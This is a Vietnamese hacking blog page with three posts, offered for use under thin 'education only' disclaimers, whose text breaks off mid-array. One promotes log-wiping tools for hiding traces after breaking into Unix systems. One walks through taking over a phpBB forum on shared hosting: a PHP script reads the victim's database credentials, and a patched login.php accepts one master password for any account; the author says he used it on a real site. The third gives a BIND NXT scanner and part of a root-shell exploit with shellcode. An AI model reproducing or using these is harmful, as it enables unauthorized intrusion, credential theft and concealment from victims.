Thứ Ba, 8 tháng 10, 2013

on Leave a Comment

Hideme On Unix

 

Hideme On Unix - Xoá dấu vết :
An minh là một kỹ thuật không thể thiếu được của các Hacker khi đi đột nhập các hệ thống. Và Unix cũng vậy...Ngoài cách dùng Proxy để che IP thật ra (mà cách này chưa chắc đã an toan tuyệt đối) chúng ta còn có một số cách khác xoá dấu vết tuyệt hơn...Gần như là chưa có việc gì xảy ra vậy. Đó là xoá Log...
Tuy nói sơ qua một chút...Thường thì ở Unix/Linux các file log thường được cấu hình ở /etc/syslog.conf bạn vô đây thì sẽ biết được vị trí các file Log để ở đâu rồi...Và việc còn lại thì tôi khỏi nói các bạn cũng biết...Tuy nhiên để làm được việc này đòi hỏi bạn phải có một kiến thức căn bản khá về Unix cũng như đã đột nhập được vào nó...Nếu bạn chưa có đủ các điều kiện này thì rất may....Có vài Tool cho phép chúng ta thực hiện điều này không may khó khăn : Best Tool Hideme, Vanish...
Để Complie bạn gõ :
gcc source.c -o tenfilera
Tôi có Send kèm theo mail (Source C + Binnary)! các bạn có thể dùng nó để xoá dấu vết của mình trên Unix...
Download : Hideme On Unix
Chúc các bạn thành công
Bài viết của Binhnx2000 - binhnx2000@yahoo.com

Hideme On Unix

on Leave a Comment

Hack Local Site

 


Hack Local Site, vd : Hack forum PhpBB :
###### Header Begin
Project Name: How to hack a localsite
Founder: Luke/Lukos                       
Found day: 31/08/2002
Use for Education and Experiences Only
###### Header End
Rất tình cờ, khi học PHP tôi tìm ra một cách để hack được một số Web Portal hoặc forum của hầu hết các free hosting như lycos.co.uk vv. Và tỉ lệ thành công là 100% tuy hơi mất thời gian
Trước hết cách này gần như kiểu hack qua Local Exploit để lấy Root's passwd, cái này chắc nhiều bạn cũng đã biết nhưng cũng khác chút ít. Vì vậy tôi cũng chỉ xin lấy một ví dụ là hack phpBB forum để làm mẫu chung cho các kiểu Portal hay forum khác.
Bước 1. Xác định URL website cần hack.
Do đây là free hosting nên website luôn có dạng http://root/yoursite
Và giả sử forum phpBB nằm tại URL sau http://root/victim/phpBB_path/
Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..
Bước 2. Đăng kí một hosting cùng trên server đó.
Vì đây là free hosting nên nếu victim đăng kí được thì bạn cũng có thể đăng kí dễ dàng
Giả sử bạn đăng kí một hosting như sau http://root/mysite/
Bước 3 Xác định DB info của Victim
Điều này rất dơn giản khi bạn với victim đang cùng trên một Local
Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ thuộc Control Panel của Server là lọai gì (Cpanel, Plesk, Enxim..). Nhưng điều này không cần chú ý.
3.1 Bạn tạo một file để lấy DB info của victim như sau
## getdb.php begin
<?php
$fd = fopen ("../victim/phpBB_path/config.php", "r");
while (!feof ($fd)) {
$line = fgets($fd,4000);
print $line;
}
fclose ($fd);
?>
## getdb.php end
Bạn có thể thay $fd bằng đường dẫn tới bất kì file php mà bạn muốn xem mã nguồn của nó. Vì đối với các loại Portal hoặc forum khác có thể DB Info không chứa trong file config.php như của phpBB
3.2 Upload file getdb.php
Bạn chỉ việc upload lên hosting mà bạn vừa đăng kí http://root/mysite/getdb.php
3.3 Lấy DB info của victim
Chạy file getdb.php vừa rồi trên Browser của bạn. Bạn sẽ thấy một màn hình trắng (blank). Đừng lo, bạn hãy "View source" và bạn sẽ thấy được các thông tin như sau :
## getdb.php's source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## getdb.php's source end
Xong bước thứ 3
Bước 4. Kiểm tra mật khẩu mà bạn vừa lấy được.
Với nick Admin trong forum và tất cả những gì có thể liên quan như passwd e-mail, hosting, domain .. Vì có thể nạn nhân dùng 1 passwd cho tất cả những mật khẩu của mình cho đỡ quên. Đây là một trong những thói quen chết người
Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 5
Bước 5. Tạo một mirror phpBB forum.
5.1 Nghĩa là sao, bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của bạn http://root/mysite/
Và đừng Install forum này nếu bạn muốn hack nó.
5.2 Config forum vừa upload
Bạn hãy config cho forum của bạn thực sự là một mirror của victim's forum.
Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được DB info của victim trong tay.
5.2.1 Tạo file config.php
Đó là toàn bộ những gì bạn vừa "view source" được :
## config.php source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## config.php source end
5.2.2 Upload config.php
Bạn upload đè lên file config.php trong cái forum mới toanh mà bạn vừa upload.
http://root/mysite/config.php
5.2.3 Thử lại
Bạn thử gõ http://root/mysite/ xem, nếu mà forum của bạn có các thông số y hệt như của http://root/victim/phpBB_path tức là bạn đã thành công bước này
Bước 6. Sửa mã nguồn Mirror Site
Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin panel của nó. Nếu bạn học PHP thì việc này khá dễ dàng.
Tôi xin nêu ra 1 phương pháp, đó là cách crack cổ điển.
6.1 Crack cổ điển
6.1.1
Đó là khi bạn muốn crack passwd 1 file exe, bạn có thể deassebler nó ra thành file.asm bằng nhiều chương trình hiện nay
6.1.2
Tìm các lệnh nhảy có điều kiện (JP gì gì đó. Cái này có hàng đống mà). của đoạn code dòi mật khẩu
6.1.3
Sửa thành lệnh nhảy không điều kiên
6.1.4
Compile lại thành file exe và OK. Ta nhập bất cứ mật khẩu nào vào nó cũng chấp nhận
6.2 Sửa mã nguồn
Sửa ở file login.php và sẽ cho phép bạn Login dưới mọi nickname bằng 1 passwd chọn sẵn
6.2.1 Chọn mật khẩu chung cho toàn bộ các nick.
Thực sự các mật khẩu trong phpBB đã được mà hoá theo kiểu MD5, do đó có thể rất khó khăn để  có thể giải mã nó. Nếu các bạn hiểu rõ về kiểu encode này thì các bạn có thể tự tìm cho mình mật khẩu thích hợp, nếu không các bạn có thể sử dụng mật khẩu đã được tôi giải mã là: "hainam@hainam.org"
Cái địa chỉ mail của tôi ấy mà, khi mật khẩu này được mã hoá theo MD5 nó sẽ là một mật khẩu như sau  "692e2c95b693cf6fbec8ea5c40536b9e"
hainam@hainam.org => 692e2c95b693cf6fbec8ea5c40536b9e
6.2.2 Thiết lập mật khẩu chung cho toàn bộ các nick
Trước hết bạn mở file login.php ra tìm đoạn sau :
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
## file login.php ..
Chèn thêm biến $hack = "692e2c95b693cf6fbec8ea5c40536b9e";
Tức là sửa đoanj mã đó thành
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
$hack = "692e2c95b693cf6fbec8ea5c40536b9e";
## file login.php ..
Tiếp đó tìm đoạn mã sau
## file login.php ..
else
{
if( md5($password) == $row['user_password'] && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Sửa đoạn mã đó thành
## file login.php ..
else
{
if( md5($password) == $hack && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Ghi lại file login.php
Bước 7.Login User với mật khẩu đã chọn
Bây giờ bạn có thể login vào diễn đàn qua website của bạn http://root/mysite/login.php với bất cứ nickname nào bằng mật khẩu mà bạn đã chọn. Ở đây là "hainam@hainam.org" kể cả là nick Admin, và vào được Admin Panel ..
Chú ý rằng ở website của bạn thì User chỉ có thể login với mật khẩu là hainam@hainam.org chứ không thể bằng bât kì mật khẩu khác kể cả đó là mật khẩu đúng
Tổng quát :

I/Phương Pháp
-Đây là một ví dụ cho việc hack các website khi trong một local, không chỉ riêng đối với phpBB mà có thể áp dụng được cho nhiều Portal hay forum khác, tuy nhiên để có thể hack được từng loại bạn đều phải hiểu rất kĩ về nó và tránh lạm dụng quá đáng.
-Cách hack này tuy mất nhiều thời gian trong việc upload một mirror nhưng rất hiệu quả. Tuy nhiên tuyệt đối không nên sử dụng chúng lung tung và bừa bãi.
-Các hosting cho phép free, điều đó chứng tỏ họ rất tốt bụng, cũng chính vì vậy cũng không nên sử dụng phương pháp này khi KHÔNG THỰC SỰ cần thiết
II/Ví dụ.
-Trước hết tôi xin lỗi những ai đã làm website **** vì tôi sẽ đưa website của các bạn ra làm ví dụ và đã là victim đầu tiên của tôi.
-Mong các bạn, những người đang muốn học hỏi thêm một chút kinh nghiệm chỉ tham qua chứ không lạm dụng gi để làm hỏng DataBase của họ, thực sự tôi đã backup nhưng tôi cũng rất ngại restore lại. Hơn nữa để đảm bảo cho các bài viết tiếp theo không bị phản đối, tôi mong mọi người hãy tôn trọng ý kiến của tôi, KHÔNG PHÁ PHÁCH GÌ DB CỦA VICTIM và mang mục đích học hỏi và tham khảo lên hang đầu.
-Website mirror của website**** là **** , tại đây các bạn có thể login vào bất cứ nickname nào trong diễn đàn **** với mật khẩu chung là "hainam@hainam.org" . hãy nhớ là KHÔNG NÊN PHÁ DB CỦA HỌ, chi nên tham khảo
III/Kinh nghiệm
Điều quan trọng không phải là chúng ta hack được những cái gì mà là chúng ta học được những cái gì. Qua bài viết này mong các bạn nắm rõ được một số thao tác sau
-Đọc mã nguồn của một file bất kì trên website khi đã cùng một server (Bước 3)
-Kinh nghiệm về mật khẩu, dò tìm và ghi nhớ (Bước 4)
-Cách tạo một mirror website hay là cách link DB cho nhiều website (Bước 5)
-Cách crack cổ điển bằng ASM (Bước 6.1)
Các bạn nên tìm ra các mối liên hệ giữa các Portal, Forum, Guest Book, Chatroom PHP-CGI,.. để có thể áp dụng phương pháp này. Mặt khác các bạn cũng có thể hack được ngay cả đối với các domain hosting chứ không phải là các site có dạng http://root/yoursite/ . Và Các Paid hosting cũng không ngaọi trừ khả năng bị hack nếu các hacker đã thực sự muốn hack và sẵn sang bỏ tiền mua một hosting trên cùng một Server. Phần hack paid hosting và domain tôi xin để cho các bạn tự tìm hiểu. Hãy nhớ rằng luôn luôn phải chú ý đến URL Root của mỗi hosting. Ví dụ như ở Cpanel thì URL Root cho các  domain hosting l? http://[ip/ Server]/~user .vv
Chúc các bạn thành công
Bài viết của Lukos

Hack Local Site

on Leave a Comment

Hack BIND 8.2/8.2.1 qua bug "NXT"

 

Hack BIND 8.2/8.2.1 qua bug "NXT"

Các máy chủ tên miền (DNS server) chạy BIND 8.2/8.2.1 không xử lí chính xác các record NXT. Điều này tạo điều kiện cho attacker có thể làm tràn bộ đệm của BIND và thi hành các mã lệnh độc đoán trên máy chủ tên miền mà cụ thể nhất là lấy root (theo CA-99-14, ngày 10/11/1999)

Dưới đây là cách để hack các máy chủ tên miền chạy BIND 8.2/8.2.1 gặp bug "nxt" nhưng chưa được patch

Bước 1: scan các DNS server gặp bug "nxt" bằng CBIND (cảm ơn Nguyễn Xuân Bình nha)

/* BIND NXT vulnerable SCANNER  - CBIND */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <wait.h>
#include <netdb.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* DO NOT EDIT THIS LINE */
#define SCAN_EXE "./nmap -p 53 "

/* EDIT: directory of NMAP */
#define SCAN_DIR "/home/lb0gspm/tmp/nmap/"

/* EDIT: directory of CBIND and it's temporary files */
#define CBIND_DIR "/home/lb0gspm/tmp/cbind/"
#define R1_DIR "/home/lb0gspm/tmp/cbind/result1.cbind"
#define R2_DIR "/home/lb0gspm/tmp/cbind/result2.cbind"

int Scan( char *ip );
char *GetSubnet( char *ip );
char *ChangeSubnet( char *ip, char *subnet );
char *itoa( int i );

int main( int argc, char *argv[] )
{
struct in_addr addr;
struct hostent *host_entry;
unsigned short int option[3], i, wait_st;
unsigned char *name;
unsigned char *cmd;
unsigned char *ip, *subnet, *ip_s;
unsigned char *temp;
FILE *fp;

printf( "Check BIND v 2.00b \n" );
printf( "Bind NXT vulnerablity scanner\n\n" );

name = (char *)malloc( 200 );
ip = (char *)malloc( 16 );
ip_s = (char *)malloc( 16 );
subnet = (char *)malloc( 4 );
cmd = (char *)malloc( 50 );

if( argc == 1 )
{
printf( "Options: \n" );
printf( " -s SUB-NET SCAN ( SLOW BUT HIGH PRECISE )\n" );
printf( " -f SUB-NET SCAN ( FAST BUT LOW PRECISE / NMAP REQUIRE )\n" );
printf( " -i PRINT INFOMATION\n\n" );
printf( "Examples: \n" );
printf( " cbind victim.com ( IT WILL SCAN IF TARGET IS VULNERABLE OR NOT )\n" );
printf( " cbind victim.com -s ( IT WILL SCAN ALL SUB-NETs IN DETAIL )\n" );
printf( " cbind -f victim.com ( IT WILL SCAN SUB-NETs LOW PRECISE )\n\n" );
exit(0);
} else {
option[0] = 0;
option[1] = 0;
option[2] = 0;
for( i = 1; i < argc; i++ )
{
if( strcmp( argv[i], "-s" ) == 0 )
{
if( option[2] == 1 )
{
printf( "Can not use options -s, -f at the same time.\n" );
exit(0);
}
if( option[0] == 1 )
{
printf( "Can not use option -s with -i.\n" );
exit(0);
}
printf( "Sub-net( high precise ) scan mode ACTIVATED.\n" );
printf( "It can takes long.\n\n" );
option[1] = 1;
continue;
}
if( strcmp( argv[i], "-f" ) == 0 )
{
if( option[1] == 1 )
{
printf( "Can not use options -s, -f at the same time.\n" );
exit(0);
}
if( option[0] == 1 )
{
printf( "Can not use options -f with -i.\n" );
exit(0);
}
printf( "Sub-net( low precise ) scan mode ACTIVATED.\n" );
printf( "It require NMAP 2.07 or higher version.\n\n" );
option[2] = 1;
continue;
}
if( strcmp( argv[i], "-i" ) == 0 )
{
if( (option[1] == 1) || (option[2] == 1) )
{
printf( "Can not use option -i with -s(or -f).\n" );
exit(0);
}
option[0] = 1;
continue;
}
strcpy( name, argv[i] );
}
}

if( geteuid() != 0 )
{
printf( "Error! You are not ROOT!\n" );
exit(0);
}

if( (name[0] <= '0') || (name[0] >= '9') )
{
host_entry = gethostbyname( name );
if( host_entry == NULL )
{
if( option[0] != 1 ) {
printf( "Can not scan %s.\n", name );
exit(0);
}
}
if( option[0] != 1 ) {
addr = *((struct in_addr *)host_entry->h_addr);
ip = (unsigned char *)inet_ntoa( addr );
subnet = GetSubnet( ip );
}
}
if( (name[0] >= '0') && (name[0] <= '9') )
{
host_entry = gethostbyaddr( name, strlen(name), AF_INET );
if( host_entry == NULL )
{
if( option[0] != 1 ) {
printf( "Can not scan %s.\n", name );
exit(0);
}
}
if( option[0] != 1 ) {
addr = *((struct in_addr *)host_entry->h_addr);
ip = (unsigned char *)inet_ntoa( addr );
subnet = GetSubnet( ip );
}
}

if( (option[1] == 0) && (option[2] == 0) && (option[0] != 1) )
{
Scan( ip );
printf( "Scanning Done.\n" );
remove( R1_DIR );
remove( R2_DIR );
exit(0);
}
if( option[1] == 1 )
{
for( i = 0; i < 256; i++ )
{
if( fork() == 0 )
{
strcpy( subnet, itoa( i ) );
ip_s = ChangeSubnet( ip, subnet );
Scan( ip_s );
remove( R1_DIR );
remove( R2_DIR );
exit(0);
} else {
wait( NULL );
}
continue;
}
printf( "Scanning Done.\n" );
exit(0);
}
if( option[2] == 1 )
{
strcpy( cmd, SCAN_EXE );
strcat( cmd, name );
strcat( cmd, "/24" );
strcat( cmd, " > " );
strcat( cmd, R1_DIR );
chdir( SCAN_DIR );
system( cmd );

strcpy( cmd, "grep \"Interesting\" " );
strcat( cmd, R1_DIR );
strcat( cmd, " > " );
strcat( cmd, R2_DIR );
system( cmd );

if( ( fp = fopen( R2_DIR, "r" ) ) < 0 )
{
printf( "File Open Error!\n" );
exit(0);
}

while( 1 )
{
bzero( name, 200 );
temp = (char *)malloc( 200 );
strcpy( temp, " " );
temp = fgets( temp, 100, fp );
if( temp == NULL ) break;
if( temp[21] == ' ' )
{
for( i = 0; i < 16; i++ )
{
if( (temp[i+23] != ' ') && (temp[i+23] != ')') )
{
if( (temp[i+23] >= '0') && (temp[i+23] <= '9') )
{
name[i] = temp[i+23];
} else {
if( temp[i+23] == '.' )
name[i] = temp[i+23];
}
}
}
}
if( temp[21] != ' ' )
{
for( i = 0; i < 50; i++ )
{
if( temp[i+21] != ' ' ) name[i] = temp[i+21];
}
}

Scan( name );
free(temp);

}
remove( R1_DIR );
remove( R2_DIR );
}
if( option[0] == 1 )
{
printf( "Creator : Laks Bluesky\n" );
printf( "E-mail : lb0gspm@hanmail.net\n\n" );
printf( "Version : 2.00 beta\n\n" );
printf( "2000.06.19\n" );
exit(0);
}
}

char *itoa( int i )
{
char *ret;
char c;
int count;

ret = (char *)malloc( 4 );

count = 1;
if( i > 9 ) count = 2;
if( i > 99 ) count = 3;

if( count == 1 )
{
c = i+48;
ret[0] = c;
ret[1] = '\0';
return ret;
}

if( count == 2 )
{
c = i / 10;
i = i - (c*10);

ret[0] = c+48;
ret[1] = i+48;
ret[2] = '\0';
return ret;
}

if( count == 3 )
{
c = i / 100;
i = i - (c*100);

ret[0] = c+48;

c = i / 10;
i = i - (c*10);

ret[1] = c+48;
ret[2] = i+48;
ret[3] = '\0';
return ret;
}
}

char *ChangeSubnet( char *ip, char *subnet )
{
char *ip_s;
int count = 0, i = 0;

ip_s = (char *)malloc( 16 );

strcpy( ip_s, ip );

for( count = 0; count != 3; count = count )
{
if( ip_s[i] == '.' )
{
count++;
i++;
continue;
}
i++;
}

ip_s[i++] = subnet[0];
ip_s[i++] = subnet[1];
ip_s[i++] = subnet[2];
ip_s[i++] = subnet[3];

return ip_s;
}

char *GetSubnet( char *ip )
{
char *ret;
int count = 0, i = 0;

ret = (char *)malloc( 4 );

for( count = 0; count != 3; count = count )
{
if( ip[i] == '.' )
{
count++;
i++;
continue;
}
i++;
}

ret[0] = ip[i++];
ret[1] = ip[i++];
ret[2] = ip[i++];
ret[3] = ip[i++];

return ret;
}

int Scan( char *ip )
{
unsigned short int i;
unsigned char c;
unsigned char *cmd;
unsigned char *version;
FILE *fp;
struct stat result;

cmd = (char *)malloc( 200 );
version = (char *)malloc( 9 );

printf( "Scanning... %s\n", ip );

strcpy( cmd, "dig @" );
strcat( cmd, ip );
strcat( cmd, " version.bind chaos txt > " );
strcat( cmd, R1_DIR );
strcat( cmd, " 2> /dev/null" );
system( cmd );

strcpy( cmd, "grep \"VERSION.BIND.\" " );
strcat( cmd, R1_DIR );
strcat( cmd, " > " );
strcat( cmd, R2_DIR );
system( cmd );

stat( R2_DIR, &result );

if( result.st_size < 30 )
{
chdir( CBIND_DIR );
return 0;
}

if( ( fp = fopen( R2_DIR, "r" ) ) >= 0 )
{
for( i = 0; i < 29; i++ )
{
c = fgetc( fp );
}

for( i = 0; i < 9; i++ )
{
c = fgetc( fp );

if( c == '"' )
{
version[i] = '\0';
break;
}

version[i] = c;
}
} else {
chdir( CBIND_DIR );
return 0;
}

if( strcmp( version, "8.2" ) == 0 )
{
printf( "%s: IT IS VULNERABLE! ", ip );
printf( "Try it. :)\n" );
chdir( CBIND_DIR );
return 0;
}

if( strcmp( version, "8.2.1" ) == 0 )
{
printf( "%s: IT IS VULNERABLE! ", ip );
printf( "Try it. :)\n" );
chdir( CBIND_DIR );
return 0;
}

if( strcmp( version, "8.2.2" ) == 0 )
{
printf( "%s: IT IS VULNERABLE! ", ip );
printf( "Try it. :)\n" );
chdir( CBIND_DIR );
return 0;
}

if( strcmp( version, "8.2.2-P5" ) == 0 )
{
chdir( CBIND_DIR );
return 0;
}

if( strcmp( version, "8.1.2" ) == 0 )
{
chdir( CBIND_DIR );
return 0;
}

chdir( CBIND_DIR );
return 0;
}

* Bạn có thể dùng hai tiện ích sẵn có trong Linux là DIG và NSLOOKUP để nhận diện version của BIND

NSLOOKUP

# nslookup
Default Server: ns.yourco.bogus
Address: 333.333.333.333

> set class=chaos
> set type=txt

> version.bind
Server: ns.yourco.bogus
Address: 333.333.333.333
VERSION.BIND text = "8.2.2-P5"

>

DIG (cú pháp lệnh: dig @<server_ip> <domain> <query-type> <query-class>)

dig version.bind txt chaos @<server>

hoặc

dig @ txt chaos version.bind

Nếu bạn thấy trên màn hình 8.2 hoặc  8.2.2 nghĩa là server này có thể gặp bug "nxt"

Bước 2: lấy root shell bằng T666

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

char linuxcode[]=
{0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,
0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};

char sc[]=
{0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
0x1,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

char bsdcode[]=
{0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
